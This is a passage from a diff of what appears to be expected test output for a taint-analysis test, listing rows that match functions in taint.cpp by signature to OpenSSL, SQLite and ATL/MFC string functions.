operator() | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| taint.cpp:249:13:249:13 | operator() | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| taint.cpp:249:13:249:13 | operator() | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| taint.cpp:249:13:249:13 | operator() | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| taint.cpp:249:13:249:13 | operator() | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (uint16_t,int) | | tls1_group_id2nid | 1 | +| taint.cpp:249:13:249:13 | operator() | (unsigned char *,int) | | RAND_bytes | 1 | +| taint.cpp:249:13:249:13 | operator() | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| taint.cpp:249:13:249:13 | operator() | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| taint.cpp:249:13:249:13 | operator() | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| taint.cpp:249:13:249:13 | operator() | (void *,int) | | DSO_dsobyaddr | 1 | +| taint.cpp:249:13:249:13 | operator() | (void *,int) | | sqlite3_realloc | 1 | | taint.cpp:249:13:249:13 | operator() | (wchar_t,int) | CStringT | CStringT | 1 | +| taint.cpp:266:5:266:6 | id | (int) | | ASN1_STRING_type_new | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | ASN1_tag2bit | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | ASN1_tag2str | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | EVP_PKEY_asn1_get0 | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | Jim_ReturnCode | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | Jim_SignalId | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | OBJ_nid2ln | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | OBJ_nid2obj | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | OBJ_nid2sn | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | OSSL_STORE_INFO_type_string | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | OSSL_trace_get_category_name | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | PKCS12_init | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | Symbol_Nth | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | X509_PURPOSE_get0 | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | X509_PURPOSE_get_by_id | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | X509_TRUST_get0 | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | X509_TRUST_get_by_id | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | evp_pkey_type2name | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | ossl_cmp_bodytype_to_string | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | ossl_tolower | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | ossl_toupper | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | sqlite3_compileoption_get | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | sqlite3_errstr | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | tls13_alert_code | 0 | +| taint.cpp:302:6:302:14 | myAssign2 | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (BIGNUM *,int) | | BN_clear_bit | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (BIGNUM *,int) | | BN_mask_bits | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (BIGNUM *,int) | | BN_set_bit | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (BIGNUM *,int) | | BN_set_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (BIGNUM *,int) | | bn_expand2 | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (BIGNUM *,int) | | bn_wexpand | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (BIO *,int) | | BIO_clear_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (BIO *,int) | | BIO_find_type | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (BIO *,int) | | BIO_set_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (BIO *,int) | | BIO_set_init | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (BIO *,int) | | BIO_set_retry_reason | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (BIO *,int) | | BIO_set_shutdown | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (BIO *,int) | | TXT_DB_read | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (DH *,int) | | DH_clear_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (DH *,int) | | DH_set_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (DSA *,int) | | DSA_clear_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (DSA *,int) | | DSA_set_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | taint.cpp:302:6:302:14 | myAssign2 | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (RSA *,int) | | RSA_clear_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (RSA *,int) | | RSA_set_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL *,int) | | SSL_key_update | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL *,int) | | SSL_set_purpose | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL *,int) | | SSL_set_read_ahead | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL *,int) | | SSL_set_security_level | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL *,int) | | SSL_set_shutdown | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL *,int) | | SSL_set_trust | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL *,int) | | SSL_set_verify_depth | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL_CTX *,int) | | ssl_md | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509 *,int) | | X509_delete_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509 *,int) | | X509_self_signed | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (acttab *,int) | | acttab_insert | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (char *,int) | | PEM_proc_type | 1 | | taint.cpp:302:6:302:14 | myAssign2 | (char,int) | CStringT | CStringT | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const BIGNUM *,int) | | BN_get_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const BIO *,int) | | BIO_get_ex_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const BIO *,int) | | BIO_test_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const DH *,int) | | DH_get_ex_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const DH *,int) | | DH_test_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const DH *,int) | | ossl_dh_dup | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const DSA *,int) | | DSA_get_ex_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const DSA *,int) | | DSA_test_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const DSA *,int) | | ossl_dsa_dup | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| 